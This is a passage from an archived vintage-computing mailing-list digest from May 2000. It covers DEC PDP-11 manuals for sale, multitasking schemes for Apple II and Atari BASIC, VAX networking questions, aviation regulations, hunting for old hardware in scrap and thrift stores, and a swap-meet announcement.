RLV12 in the rack next to the /44 for doing backups of my RL02's, so the hardest part of doing it this way will be building the packs on the emulator. Zane From jdarren at ala.net Wed May 17 16:23:45 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:52:49 2005 Subject: DEC PDP-11 Manuals For Sale Message-ID: <000701bfc046$2f74f120$026464c0@j.peters> *shipping is not included in listed price. CR11/CM11 CARD READER SYSTEM MANUAL, 1975 ($25) ========================================= ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/4-INCH THICK ? SECTIONS ARE (1) INTRODUCTION, (2) GENERAL DESCRIPTION, (3) OPERATION, (4) PROGRAMMING INFORMATION, AND (5) THEORY OF OPERATION. ? APPENDICES ARE (A) GDI CARD READERS, (B) CARD READER INTERFACE SIGNALS, (C) HOLLERITH CODE, AND (D) INTEGRATED CIRCUIT DESIGN. DEC PDP-11 DL11-W SERIAL LINE UNIT/REAL-TIME CLOCK OPTION MAINTENANCE MANUAL, 1977 ($15) ============================================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 74 PAGES ? SECTIONS ARE (1) INTRODUCTION, (2) CONFIGURATION, (3) PROGRAMMING INFORMATION, (4) DETAILED DECSRIPTION ? APPENDICES ARE (A) IC SCHEMATICS AND (B) VECTOR ADDRESSING. DEC PDP-11 BA11-K MOUNTING BOX 10.5 INCH MOUNTING BOX TECHNICAL MANUAL, 1978 ($15) ====================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) MOUNTING BOX CHARACTERISTICS, (2) UNPACKING AND INSTALLATION, (3) SYSTEM UNITS, OPTIONS, AND HARNESSES, (4) H765 POWER SYSTEM, (5) MAINTENANCE. ? APPENDICES ARE (A) H745 -15 VOLT REGULATOR, (B) H744 +5 VOLT REGULATOR, (C) H754 +20, -5 VOLT REGULATOR, (D) H7441 +5 VOLT REGULATOR, (E) H785 BATTERY BACKUP REGULATOR, AND (F) H775 BATTERY BACKUP UNIT. DEC PDP-11 BA11-K MOUNTING BOX 10.5 INCH MOUNTING BOX ILLUSTRATED PARTS BREAKDOWN, 1981 ($10) ================================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES ? 2 COPIES H744 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1976 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES 861-A THROUGH -F POWER CONTROLLER ILLUSTRATED PARTS BREAKDOWN, 1980 ($10) =================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 14 PAGES H745 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 12 PAGES H754 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 20 PAGES H7420 POWER SUPPLY ILLUSTRATED PARTS BREAKDOWN, 1975 ($10) ==================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES PDP-11/45 16-BIT COMPUTER (BASIC) ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ============================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? VERY GOOD CONDITION ? 28 PAGES DEC PDP-11 TMB11/TU10W DECMAGTAPE SYSTEM MAINTENANCE MANUAL (TMB11-E/F SYSTEM), 1979 ($10) ================================================================================= ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) GENERAL INFORMATION, (2) INSTALLATION, (3) OPERATION, (4) PREVENTIVE MAINTENANCE, (5) MAINTENANCE, TMB11 THEORY OF OPERATION, (7) M8926 THEORY OF OPERATION, AND (8) TU10W HOST TRANSPORT THEORY OF OPERATION. ? APPENDICES ARE (A) MAGNETIC TAPE FUNDAMENTALS, (B) SYSTEM DIAGNOSTICS, (C) FLOW DIAGRAM GLOSSARY, (D) M8926 INTERFACE SIGNALS, AND (E) TMB11/TU10W DATA SHEETS. DEC PDP-11 TE16/TE10W/TE10N DECMAGTAPE TECHNICAL MANUAL, 1977 ($10) ========================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) INTRODUCTION, (2) INSTALLATION, (3) OPERATING INSTRUCTIONS, (4) PREVENTIVE MAINTENANCE, (5) THEORY OF OPERATION, AND (6) SERVICING. ? APPENDICES ARE (A) MAGNETIC TAPE FUNDAMENTALS, AND (B) GLOSSARY. DEC TE16 DECMAGTAPE ILLUSTRATED PARTS BREAKDOWN, 1980 ($10) ===================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1/4-INCH THICK DEC PDP-11 DL11 ASYNCHRONOUS LINE INTERFACE MANUAL, 1975 ($10) ====================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) INTRODUCTION, (2) GENERAL DESCRIPTION, (3) INSTALLATION, (4) PROGRAMMING INFORMATION, AND (5) DETAILED DECSRIPTION. ? APPENDICES ARE (A) IC SCHEMATICS AND (B) VECTOR ADDRESSING. DEC LA36/LA35 DECWRITER II USERS MANUAL, 1977 ($25) ========================================= ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) LA36 USERS INFORMATION, (2) LA35 USERS INFORMATION, AND (3) COMMON INFORMATION. DEC LA36/LA35 DECWRITER II MAINTENANCE MANUAL, 1978 ($10) ================================================ ? REPRODUCTION, NOT AN ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) GENERAL DESCRIPTION, (2) INSTALLATION, (3) OPERATION, (4) THEORY, (5) UPGRADED LA36, (6) ELECTRICAL SERVICING, (7) MECHANICAL SERVICING, AND (8) ADJUSTMENT PROCEDURES. ? APPENDICES ARE (A) ENGINEERING DRAWINGS, (B) IPB, (C) REFERENCE DATA. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/0f1d9ae8/attachment-0001.html From jdarren at ala.net Wed May 17 16:29:20 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:52:49 2005 Subject: additional DEC PDP-11 Manual For Sale Message-ID: <002401bfc046$f752b6a0$026464c0@j.peters> *shipping is not included in listed price. DEC PDP-11 DR11-C GENERAL DEVICE INTERFACE MANUAL, 1974 ($15) ==================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 46 PAGES ? SECTIONS ARE (1) INTRODUCTION, (2) SOFTWARE INTERFACE, (3) USER INPUT/OUTPUT SIGNALS, (4) THEORY OF OPERATION, (5) MAINTENANCE, (6) EXAMPLES, AND (7) ENGINEERING DRAWING SET. ? APPENDICES ARE (A) INTEGRATED CIRCUIT AND (B) USE OF BB11. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/969496ab/attachment-0001.html From pete at dunnington.u-net.com Wed May 17 19:04:10 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Re: Cool AppleSoft BASIC trick I never thought of before" (May 17, 13:06) References: Message-ID: <10005180104.ZM6371@indy.dunnington.u-net.com> On May 17, 13:06, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Pete Turnbull wrote: > > > Yes, probably :-) Since you wouldn't need much code, and nothing on a > > standard Apple uses interrupts, you could go one further and make it a > > time-sliced system instead of a cooperative one, with a very simple circuit > > (not much more than a 555 timer, though you might want it on a card with a > > PROM to hold the code). > > I considered this. An easier way to do this is to copy the BASIC ROM into > RAM in the upper 16K bank of memory and then modify the interpreter to > switch after the execution of each BASIC program line. Depends on whether you prefer hardware to software, I guess :-) Modifying BASIC in a language card also has the advantage that it only tries to switch when it's actually executing BASIC (rather than some DOS routine or something you've BRUN) but I suspect that after-every-line is too often -- you'd spend a lot of time (proportionately speaking) context switching. And it would be irregular; a multi-statement line encompassing a loop will take much longer than a simple statement. -- Pete Peter Turnbull Dept. of Computer Science University of York From cmcmanis at mcmanis.com Wed May 17 20:03:51 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:49 2005 Subject: VAX 4000 panel bulkhead compatibility? In-Reply-To: <10005180104.ZM6371@indy.dunnington.u-net.com> References: Message-ID: <4.1.20000517174017.03e7cc70@mailhost.hq.freegate.com> As I mentioned earlier I've got a BA213 "MicroVAX 3400" that has had its CPU upgraded to a KA660 (VAX 4000/200). I'm trying to get networking working. I have available MULTINET and UCX as software, currently Multinet is installed under a 30 day evaluation PAK. @MULTINET:START_MULTINET runs but MULTINET CHECK claims that my default router is unreachable. EZA0: is plugged through an ethernet tranciever into a hub. I've tried the SQE switch on both positions (I can never remember if hubs _want_ heart beats or not). I have two other systems connected to that Hub, one a VAX 4000/300 with VMS/Multinet and one a Vaxstation 3100/M76 with NetBSD. I can telnet to either of them from the main network so I'm pretty sure the hub is working. Q1: Is the CPU "bulkhead" for the 4000/200 compatible with the CPU bulkhead for the 3400? It is the "one ribbon cable" variety (rather than the two cables the the KA630,50,and 55 use) Q2: Which way _should_ the SQE switch be set? Q3: Does Multinet do Echoreply? Pings seem to fall into a black hole. --Chuck From technoid at cheta.net Wed May 17 20:07:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:49 2005 Subject: OT: Private jets was Re: Finding Classic Computers In-Reply-To: <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <200005180108.VAA14880@lexington.ioa.net> In <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au>, on 05/17/00 at 09:07 PM, "Geoff Roberts" said: >----- Original Message ----- >From: "Mark Gregory" >To: >Sent: Wednesday, May 17, 2000 8:01 AM >Subject: Re: Finding Classic Computers >>> Nice toy if you have money to burn and like to sightsee at Mach 2. I've understood from some source or other that even if you own a transonic/supersonic vehicle, you are not allowed to take it above mach .98. >>>Jet fuel is cheap in comparison. No kidding. AvGas is really steep these days and getting rare because most new piston aircraft engines run on kerosene. YHOSvt. Technoid -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From chris at mainecoon.com Wed May 17 20:35:16 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:49 2005 Subject: OT: Private jets was Re: Finding Classic Computers References: <200005180108.VAA14880@lexington.ioa.net> Message-ID: <392348D4.D41F1A4@mainecoon.com> technoid@cheta.net wrote: > >>> Nice toy if you have money to burn and like to sightsee at Mach 2. > > I've understood from some source or other that even if you own a > transonic/supersonic vehicle, you are not allowed to take it above mach > .98. Nah, at least not in the US. FAR 91.817 describes what's necessary for civil aircraft to exceed Mach 1; essentially you have to jump through burning hoops of paperwork fire in order to demonstrate that there's a reason why it's needed, that the test area isn't environmentally sensitive and that the no sonic boom overpressure will reach the surface outside the desginated test area. Most of the verbage falls away if you're willing to restrict your activities to overwater. They also get you with FAR 91.819 and 91.821, which are airport noise restrictions which would effectively preclude you from operating in or out of most airports between 2200 and 0700, even if you never took your bird supersonic. Jeez, I've been spending too much time reading regs again... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From geoffrob at stmarks.pp.catholic.edu.au Wed May 17 20:57:46 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <006101bfc06c$789820e0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Mark Gregory" To: Sent: Thursday, May 18, 2000 1:19 AM Subject: Re: Finding Vintage Computers - A Primer > In my area, there's a related type of store that is worth a look. It's a > chain called "Cash Converters", where they buy your unwanted goods (at > substantially less than the estimated value) and then sell them in a retail > environment. Like a permanent garage sale under one roof. Unlike a pawn > shop, you can't reclaim your item for what they gave you for it. They > occasionally have classic comp stuff; I've found TRS-80s of various kinds, > Model 100s, PS/2s, Newtons and a lot of older software. The prices are > initially set high, but if an item doesn't sell, they progressively reduce > the price until it does. You in Sydney? The Ca$h Converter$ in Adelaide seem not to have heard of the progressive reduction in price part of the concept. I saw an real IBM XT, 2FDD no HDD, Monochrome, about 6 months ago with a $250 price tag on it. It was still there with the same price 3 weeks ago. Perhaps the Sydney stores get more turnover. I've yet to see a good price on anything in a cash converters unless it was something they had grossly undervalued due to ignorance. That said, they do screw up badly sometimes, and if your're quick you can get the odd bargain. (I got a very nice Sony SCSI CDROM for $10 because the dopey store buyer that bought it thought it was an old proprietary interface type.) IF you are ever in Adelaide, give Hi Technology Metal Recyclers a visit. They are scrappers, but they do pull PC and similar stuff aside and sell it at very good prices. I got a VS4000/90 from there a couple years back for a song. They do get Vaxen from time to time as well, a couple of my Vax 6000's came from there. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au netcafe@pirie.mtx.net.au ICQ: 1970476 YMMV. Cheers Geoff Roberts From technoid at cheta.net Wed May 17 21:34:44 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005180104.ZM6371@indy.dunnington.u-net.com> Message-ID: <200005180239.WAA05469@lexington.ioa.net> I have a prototype multitasking operating system in 6502 machine language for the Atari 8-bit series machines. Might be useful if I get the gist of what this topic is about. The main purpose was to run several BASIC programs simultaniously and give each a timeslice. The timeslice for each task is adjustable. If true timeshareing is not required then I'd look to Tom Hunt for his AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and produces the effect of multitasking but the tasks on disk are of course halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He mainly wrote in ACTION! - a C-like language unique to the Atari from OSS (Optimized System Software - they used to be Sheperdson Microsystems and wrote Atari Basic in addition to many other things in the 8-bit world). Action had the benefit of a runtime package for distribution and very fast program execution when compared to most other languages for the Atari. Action! programs ran at near machine code speed. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From jlewczyk at his.com Wed May 17 22:13:22 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:52:49 2005 Subject: Univac Lamp interesting piece In-Reply-To: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <000401bfc077$05e18450$013da8c0@Corellian> Even though its on epay and the reserve is $10K, this *is* an interesting piece. Its a lamp constructed from pieces of the technology that went into the Univac (model 70), according to the seller. Looks like technology around about 1970, with a combination of core and ICs. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=334627365 Any opinions on the authenticity of this item? This reminds me a little of some sculptures of animals that were constructed in the late 60s/early 70s from electronic components, and were part of an advertising for some company [Honeywell?]. Anybody know anything about them? Are there pics on the web? From foo at siconic.com Wed May 17 22:59:45 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005180239.WAA05469@lexington.ioa.net> Message-ID: On Wed, 17 May 2000 technoid@cheta.net wrote: > I have a prototype multitasking operating system in 6502 machine language > for the Atari 8-bit series machines. Might be useful if I get the gist of > what this topic is about. The main purpose was to run several BASIC > programs simultaniously and give each a timeslice. The timeslice for each > task is adjustable. This is indeed what we are talking about. Sounds cool! > If true timeshareing is not required then I'd look to Tom Hunt for his > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and Slow? > produces the effect of multitasking but the tasks on disk are of course > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > (Optimized System Software - they used to be Sheperdson Microsystems and > wrote Atari Basic in addition to many other things in the 8-bit world). Sounds familiar. Didn't they also write DOS for the Apple ][? I've heard the names before (Sheperdson and OSS) but can't quite place what products I associate with them. I know there was a company that developed primarily for the Atari but also did Apple DOS. I have their website linked from the VCF links page but am too lazy to go looking. > Action had the benefit of a runtime package for distribution and very fast > program execution when compared to most other languages for the Atari. > Action! programs ran at near machine code speed. Interesting! From jolminkh at nsw.bigpond.net.au Thu May 18 04:43:00 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <001b01bfc0ad$7589bee0$dadf8490@tp.nsw.bigpond.net.au> >> Model 100s, PS/2s, Newtons and a lot of older software. The prices are >> initially set high, but if an item doesn't sell, they progressively >reduce >> the price until it does. > >You in Sydney? The Ca$h Converter$ in Adelaide seem not to have heard >of the progressive reduction in price part of the concept. I saw an >real IBM XT, 2FDD no HDD, Monochrome, about 6 months ago with a $250 >price tag on it. It was still there with the same price 3 weeks ago. >Perhaps the Sydney stores get more turnover. I've yet to see a good He can't be in Sydney. I am and I've never seen them behave like that. I rarely even look. At the Bondi Junction store there's usually more staff than customers at the hours I visit and they look mean and hungry. Hans From geoffrob at stmarks.pp.catholic.edu.au Thu May 18 04:28:03 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer References: <001b01bfc0ad$7589bee0$dadf8490@tp.nsw.bigpond.net.au> Message-ID: <000501bfc0ab$5f4ebec0$647d38cb@helpdesk> ----- Original Message ----- From: "Olminkhof" To: Sent: Thursday, May 18, 2000 7:13 PM Subject: Re: Finding Vintage Computers - A Primer > He can't be in Sydney. Er, no. My mistake. Canada. Must have looked at the headers from the wrong msg. Senility is my only excuse. > I am and I've never seen them behave like that. Me either. > I rarely even look. At the Bondi Junction store there's usually more staff > than customers at the hours I visit and they look mean and hungry. Sounds about right. There are several in Adelaide, one in the city, one at Port Adelaide, Smithfield, Tea Tree Gully, and ?? Can't remember. All seem to be stocked with (computerwise) mostly newer systems, with ridiculous prices, with a few older systems at even more ridiculous prices. Even with the stuff a year or 2 old, I've seen price tags that would buy you a brand new system. Some people do buy them. P. T. Barnum was right. You need to be lucky to get a bargain there, and that only happens when they screw up on something. Cheers Geoff From rigdonj at intellistar.net Thu May 18 08:32:35 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:49 2005 Subject: Cromemco ?? Message-ID: <3.0.1.16.20000518083235.4ed70018@mailhost.intellistar.net> Hi, Are there any Crommeco experts out there? I have a couple of questiosn about the Cromemco terminals and printers. Joe From rigdonj at intellistar.net Thu May 18 08:31:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Also ask if you can look in any old trucks sitting around the scrap places. I did that yesterday and was told yes, but that it only contained junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a Profile hard drive and a NIB Apple MODEM. Also found and brought home a Beehive MicroB terminal in it's orginal box. Oh! I also found a pile of Cromemco terminals and printers (3102s and 3715s?) in the same truck. Are these worth picking up? Joe From richard at idcomm.com Thu May 18 08:10:47 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <001901bfc0ca$7e521aa0$0400c0a8@winbook> You may find that your multitasking effort works better if you don't accept a time-slice when it's offered unless you're ready for it. Many times (particularly with the rather slow disk I/O, etc) you are I/O bound or waiting for another process to complete, it's better all around if you give back the time-slice if you can't use it. If the time slice is small (e.g. 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or so, you may want to avoid wasting it. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 17, 2000 8:34 PM Subject: Re: Cool AppleSoft BASIC trick I never thought of before > I have a prototype multitasking operating system in 6502 machine language > for the Atari 8-bit series machines. Might be useful if I get the gist of > what this topic is about. The main purpose was to run several BASIC > programs simultaniously and give each a timeslice. The timeslice for each > task is adjustable. > > If true timeshareing is not required then I'd look to Tom Hunt for his > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and > produces the effect of multitasking but the tasks on disk are of course > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > (Optimized System Software - they used to be Sheperdson Microsystems and > wrote Atari Basic in addition to many other things in the 8-bit world). > Action had the benefit of a runtime package for distribution and very fast > program execution when compared to most other languages for the Atari. > Action! programs ran at near machine code speed. > > > -- > ----------------------------------------------------------- > Jeffrey S. Worley > Complete Computer Services > 30 Greenwood Rd. > Asheville, NC 28803 > 828-274-5781 0900-1800 weekdays > Who is General Failure and why is he reading my hard disk? > Technoid@Cheta.net > ----------------------------------------------------------- > From allisonp at world.std.com Thu May 18 08:26:56 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> Message-ID: Yes, having the app falg "blocked waiting IO" is important if you want the best efficientcy. The difficult part is sometimes determining that and keeping it sane. Allison On Thu, 18 May 2000, Richard Erlacher wrote: > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. > > Dick > > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 17, 2000 8:34 PM > Subject: Re: Cool AppleSoft BASIC trick I never thought of before > > > > I have a prototype multitasking operating system in 6502 machine language > > for the Atari 8-bit series machines. Might be useful if I get the gist of > > what this topic is about. The main purpose was to run several BASIC > > programs simultaniously and give each a timeslice. The timeslice for each > > task is adjustable. > > > > If true timeshareing is not required then I'd look to Tom Hunt for his > > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and > > produces the effect of multitasking but the tasks on disk are of course > > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > > (Optimized System Software - they used to be Sheperdson Microsystems and > > wrote Atari Basic in addition to many other things in the 8-bit world). > > Action had the benefit of a runtime package for distribution and very fast > > program execution when compared to most other languages for the Atari. > > Action! programs ran at near machine code speed. > > > > > > -- > > ----------------------------------------------------------- > > Jeffrey S. Worley > > Complete Computer Services > > 30 Greenwood Rd. > > Asheville, NC 28803 > > 828-274-5781 0900-1800 weekdays > > Who is General Failure and why is he reading my hard disk? > > Technoid@Cheta.net > > ----------------------------------------------------------- > > > From spc at armigeron.com Thu May 18 08:25:57 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> from "Richard Erlacher" at May 18, 2000 07:10:47 AM Message-ID: <200005181325.JAA32434@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. Generally in a multitasking system with timeslicing, there are two queues (or lists)---one for processes that are running, and another one for processes that are waiting for something (usually I/O to complete). The code that manages the tasks take the next task on the run queue and dispatch it. When an event one of the processes on the wait queue has happened, it is then moved from the wait queue to the run queue. When a process makes a request that may take awhile, it is then moved from the run queue to the wait queue. There is no need for the process to give up its slice if its waiting for something---all that happens in the system. -spc (Have compiler, will program) From jfoust at threedee.com Thu May 18 08:31:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:50 2005 Subject: Univac Lamp interesting piece In-Reply-To: <000401bfc077$05e18450$013da8c0@Corellian> References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <4.3.0.20000518082804.00e72e60@pc> At 11:13 PM 5/17/00 -0400, John Lewczyk wrote: >Even though its on epay and the reserve is $10K, this *is* an >interesting piece. And the seller has those charming qualities of only being able to type in upper case, sprinkled with spelling errors. I guess the $10,000 price is based on a 2/3 reduction of the "former shipping supervisor for Univac," who estimated the original cost of goods used to construct the lamp. www.sanfordandson.com, indeed! - John From richard at idcomm.com Thu May 18 08:33:20 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer References: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Message-ID: <031f01bfc0cd$a4ed3160$0400c0a8@winbook> I didn't know that Cromemco made printers and terminals, and, actually, I'm quite sure they didn't. What this means is that these are probably private-brand-labeled printers, most likely from Centronics unless they're from the Epson era, and the terminals, likewise, are private brand-labelled terminals, possibly from SORROC (model 220, maybe?) Anything's possible, however, so I'd look inside one. There should be ample clues. Dick ----- Original Message ----- From: Joe To: Sent: Thursday, May 18, 2000 7:31 AM Subject: Re: Finding Vintage Computers - A Primer > Also ask if you can look in any old trucks sitting around the scrap > places. I did that yesterday and was told yes, but that it only contained > junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a > Profile hard drive and a NIB Apple MODEM. Also found and brought home a > Beehive MicroB terminal in it's orginal box. > > Oh! I also found a pile of Cromemco terminals and printers (3102s and > 3715s?) in the same truck. Are these worth picking up? > > Joe > From xds_sigma7 at hotmail.com Thu May 18 10:02:00 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:50 2005 Subject: Univac Lamp interesting piece Message-ID: <20000518150201.97417.qmail@hotmail.com> Though the typing and CAPITIALIZATION done by said seller makes me want to beat myself with a shovel, they are a really great person to do business with, one of the most nice and understanding ones I've seen to be sure.. Not to be making an ebay plug, but I guess the old "don't judge a book by its cover" comes in here... Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From foo at siconic.com Thu May 18 09:09:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Message-ID: On Thu, 18 May 2000, Joe wrote: > Also ask if you can look in any old trucks sitting around the scrap > places. I did that yesterday and was told yes, but that it only contained > junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a > Profile hard drive and a NIB Apple MODEM. Also found and brought home a > Beehive MicroB terminal in it's orginal box. > > Oh! I also found a pile of Cromemco terminals and printers (3102s and > 3715s?) in the same truck. Are these worth picking up? What kind of truck is this? It sounds like a classic computer cornucopia. Did this truck get into some accident on the way to the computer store or something? From CLASSICCMP at trailing-edge.com Thu May 18 10:15:34 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:50 2005 Subject: Cromemco ?? Message-ID: <000518111534.202001d4@trailing-edge.com> > Are there any Crommeco experts out there? I have a couple of questiosn >about the Cromemco terminals and printers. I've got several thousand pages of Cromemco documentation here at the moment, mostly on their S-100 boards and software packages, and a little on terminals and printers. Which terminals and printers are you interested in? Tim. From jimw at agora.rdrop.com Thu May 18 10:22:35 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:50 2005 Subject: Just when you thought it was safe... In-Reply-To: <4.3.0.20000518082804.00e72e60@pc> Message-ID: ... it is that time of year yet again! The n'th twice-annual (and first of the new millennium) CP/M Users Group NorthWest Swap Meet is almost upon us! Date: 10-June-2000 (Saturday) Place: Tigard Senior Center - Tigard, Oregon Time: 9am to 2pm (official) 7am to whenever (realistically) Worth it? Well, yes there is a lot of 'PC' junk running around... but at the last meet was seen a nearly pristine AIM-65 in ORIGINAL box with all ORIGINAL docs! (even the original sales receipt) And other amazingly classic items for nabbing! So... you decide! (I know who got it... and I'm not telling!) ...and if you are worried about a possible lack of classic goodies... BRING SOME! Why the "n'th"? - Well... it's been so long since I (co-)founded the group, we have all long ago lost count... Better directions: Soon to come... Would GPS coordinates help for the true tech-heads amoungst us? Be there or be asymmetrically non-orthagonal! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From dlw at trailingedge.com Thu May 18 11:06:18 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <3923CEAA.27410.7B8941@localhost> On 17 May 2000, at 20:59, Vintage Computer GAWD! wrote: > Sounds familiar. Didn't they also write DOS for the Apple ][? I've > heard the names before (Sheperdson and OSS) but can't quite place what > products I associate with them. I know there was a company that > developed primarily for the Atari but also did Apple DOS. I have > their website linked from the VCF links page but am too lazy to go > looking. Yes, they wrote the original DOS for the Apple II. 